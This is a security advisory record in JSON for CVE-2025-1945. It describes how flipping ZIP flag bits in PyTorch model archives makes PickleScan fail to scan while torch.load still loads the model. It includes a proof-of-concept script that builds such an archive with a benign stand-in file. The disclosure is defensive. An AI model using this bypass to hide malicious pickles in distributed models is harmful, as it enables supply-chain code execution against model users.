{ "schema_version": "1.4.0", "id": "GHSA-w8jq-xcqf-f792", "modified": "2025-04-09T20:13:19Z", "published": "2025-03-10T18:26:35Z", "aliases": [ "CVE-2025-1945" ], "summary": "Zip Flag Bit Exploit Crashes Picklescan But Not PyTorch", "details": "### Summary\n\nPickleScan fails to detect malicious pickle files inside PyTorch model archives when certain ZIP file flag bits are modified. By flipping specific bits in the ZIP file headers, an attacker can embed malicious pickle files that remain undetected by PickleScan while still being successfully loaded by PyTorch's torch.load(). This can lead to arbitrary code execution when loading a compromised model.\n\n### Details\n\nPickleScan relies on Python’s zipfile module to extract and scan files within ZIP-based model archives. However, certain flag bits in ZIP headers affect how files are interpreted, and some of these bits cause PickleScan to fail while leaving PyTorch’s loading mechanism unaffected.\n\nBy modifying the flag_bits field in the ZIP file entry, an attacker can:\n\n- Embed a malicious pickle file (bad_file.pkl) in a PyTorch model archive.\n- Flip specific bits (e.g., 0x1, 0x20, 0x40) in the ZIP metadata.\n- Prevent PickleScan from scanning the archive due to errors raised by zipfile.\n- Successfully load the model with torch.load(), which ignores the flag modifications.\n\nThis technique effectively bypasses PickleScan's security checks while maintaining model functionality.\n\n### PoC\n```\nimport os\nimport zipfile\nimport torch\nfrom picklescan import cli\n\ndef can_scan(zip_file):\n try:\n cli.print_summary(False, cli.scan_file_path(zip_file))\n return True\n except Exception:\n return False\n\nbit_to_flip = 0x1 # Change to 0x20 or 0x40 to test different flag bits\n\nzip_file = \"model.pth\"\nmodel = {'a': 1, 'b': 2, 'c': 3}\ntorch.save(model, zip_file)\n\nwith zipfile.ZipFile(zip_file, \"r\") as source:\n flipped_name = f\"flipped_{bit_to_flip}_{zip_file}\"\n with zipfile.ZipFile(flipped_name, \"w\") as dest:\n bad_file = zipfile.ZipInfo(\"model/bad_file.pkl\")\n \n # Modify the ZIP flag bits\n bad_file.flag_bits |= bit_to_flip\n \n dest.writestr(bad_file, b\"bad content\")\n for item in source.infolist():\n dest.writestr(item, source.read(item.filename))\n\nif model == torch.load(flipped_name, weights_only=False):\n if not can_scan(flipped_name):\n print('Found exploitable bit:', bit_to_flip)\nelse:\n os.remove(flipped_name)\n```\n\n### Impact\n\nSeverity: `High`\n\n- Who is impacted? Any organization or user relying on PickleScan to detect malicious pickle files inside PyTorch models.\n- What is the impact? Attackers can embed malicious pickle payloads inside PyTorch models that evade PickleScan's detection but still execute upon loading.\n- Potential Exploits: This vulnerability could be exploited in machine learning supply chain attacks, allowing attackers to distribute backdoored models on platforms like Hugging Face or PyTorch Hub.\n\n### Recommendations\n\n- Improve ZIP Handling: PickleScan should use a more relaxed ZIP parser marches on when encountering modified flag bits.\n- Scan All Embedded Files Regardless of Flags: Ensure that files with altered metadata are still extracted and analyzed.\n\nBy addressing these issues, PickleScan can provide stronger protection against manipulated PyTorch model archives.", "severity": [ { "type": "CVSS_V4", "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N" } ], "affected": [ { "package": { "ecosystem": "PyPI", "name": "picklescan" }, "ranges": [ { "type": "ECOSYSTEM", "events": [ { "introduced": "0" }, { "fixed": "0.0.23" } ] } ] } ], "references": [ { "type": "WEB", "url": "https://github.com/mmaitre314/picklescan/security/advisories/GHSA-w8jq-xcqf-f792" }, { "type": "ADVISORY", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-1945" }, { "type": "WEB", "url": "https://github.com/mmaitre314/picklescan/commit/e58e45e0d9e091159c1554f9b04828bbb40b9781" }, { "type": "PACKAGE", "url": "https://github.com/mmaitre314/picklescan" }, { "type": "WEB", "url": "https://github.com/pypa/advisory-database/tree/main/vulns/picklescan/PYSEC-2025-21.yaml" }, { "type": "WEB", "url": "https://sites.google.com/sonatype.com/vulnerabilities/cve-2025-1945" } ], "database_specific": { "cwe_ids": [ "CWE-345" ], "severity": "MODERATE", "github_reviewed": true, "github_reviewed_at": "2025-03-10T18:26:35Z", "nvd_published_at": null } }